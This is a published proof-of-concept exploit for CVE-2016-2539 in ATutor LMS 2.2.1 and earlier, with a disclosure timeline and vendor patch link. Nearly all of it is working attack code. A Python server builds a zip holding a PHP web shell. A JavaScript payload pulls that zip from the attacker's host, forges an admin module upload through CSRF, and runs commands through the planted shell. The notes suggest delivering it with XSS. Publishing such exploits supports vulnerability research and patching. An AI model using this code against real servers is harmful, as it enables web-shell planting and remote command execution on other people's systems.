/* exp.js
ATutor LMS <= 2.2.1 install_modules.php CSRF Remote Code Execution
by mr_me
Notes:
``````
- Discovered for @ipn_mx students advanced php vuln/dev class
- Tested on the latest FireFox 44.0.2 release build
- This poc simply uploads a zip file as pwn/si.php with a "<?php system($_GET['cmd']); ?>" in it
- You will need to set the Access-Control-Allow-Origin header to allow the target to pull zips
- Use this with your favorite XSS attack
- Student proof, aka bullet proof
Timeline:
`````````
23/02/2016 - notified vendor via info[at]atutor[dot]ca
24/02/2016 - requested CVE and assigned CVE-2016-2539
24/02/2016 - vendor replied stating they are investigating the issue
05/03/2016 - vendor patches the issue (https://github.com/atutor/ATutor/commit/bfc6c80c6c217c5515172f3cc949e13dfa1a92ac)
06/03/2016 - coordinated public release
Example:
````````
mr_me@jupiter:~$ cat poc.py
#!/usr/bin/python
import sys
import zipfile
import BaseHTTPServer
from cStringIO import StringIO
from SimpleHTTPServer import SimpleHTTPRequestHandler
if len(sys.argv) < 3:
print "Usage: %s <lport> <target>" % sys.argv[0]
print "eg: %s 8000 172.16.69.128" % sys.argv[0]
sys.exit(1)
def _build_zip():
"""
builds the zip file
"""
f = StringIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('pwn/si.php', "<?php system($_GET['cmd']); ?>")
z.close()
handle = open('pwn.zip','wb')
handle.write(f.getvalue())
handle.close
class CORSRequestHandler (SimpleHTTPRequestHandler):
def end_headers (self):
self.send_header('Access-Control-Allow-Origin', 'http://%s' % sys.argv[2])
SimpleHTTPRequestHandler.end_headers(self)
if __name__ == '__main__':
_build_zip()
BaseHTTPServer.test(CORSRequestHandler, BaseHTTPServer.HTTPServer)
mr_me@jupiter:~$ ./poc.py 8000 172.16.69.128
Serving HTTP on 0.0.0.0 port 8000 ...
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /exp.js HTTP/1.1" 200 -
172.16.69.1 - - [23/Feb/2016 14:04:07] "GET /pwn.zip HTTP/1.1" 200 -
~ de Mexico con amor,
*/
var get_hostname = function(href) {
var l = document.createElement("a");
l.href = href;
return l.hostname + ":" + l.port;
};
function trolololol(url, file_data, filename) {
var file_size = file_data.length,
boundary = "828116593165207937691721278",
xhr = new XMLHttpRequest();
// latest ff doesnt have sendAsBinary(), so we redefine it
if(!xhr.sendAsBinary){
xhr.sendAsBinary = function(datastr) {
function byteValue(x) {
return x.charCodeAt(0) & 0xff;
}
var ords = Array.prototype.map.call(datastr, byteValue);
var ui8a = new Uint8Array(ords);
this.send(ui8a.buffer);
}
}
// the callback after this stage is done...
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
xhr = new XMLHttpRequest();
// change this if you change the zip
xhr.open("GET", "/ATutor/mods/pwn/si.php?cmd=id", true);
xhr.send();
}
}
xhr.open("POST", url, true);
// simulate a file MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", file_size);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="modulefile"; filename="' + filename + '"\r\n';
body += "Content-Type: archive/zip\r\n\r\n";
body += file_data + "\r\n";
body += "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="install_upload"\r\n\r\n';
body += "junk\r\n";
body += "--" + boundary;
xhr.sendAsBinary(body);
return true;
}
function pwn(){
var xhr = new XMLHttpRequest();
// et phone home
var home = get_hostname(document.scripts[0].src);
// get our own zip file
xhr.open('GET', 'http://' + home + '/pwn.zip', true);
xhr.responseType = 'blob';
xhr.onload = function(e) {
if (this.status == 200) {
// use the FileReader class to get the raw binary
var reader = new window.FileReader();
reader.readAsBinaryString(new Blob([this.response], {type: 'application/zip'}));
reader.onloadend = function() {
trolololol("/ATutor/mods/_core/modules/install_modules.php", reader.result, "pwn.zip");
}
}
};
xhr.send();
}
pwn();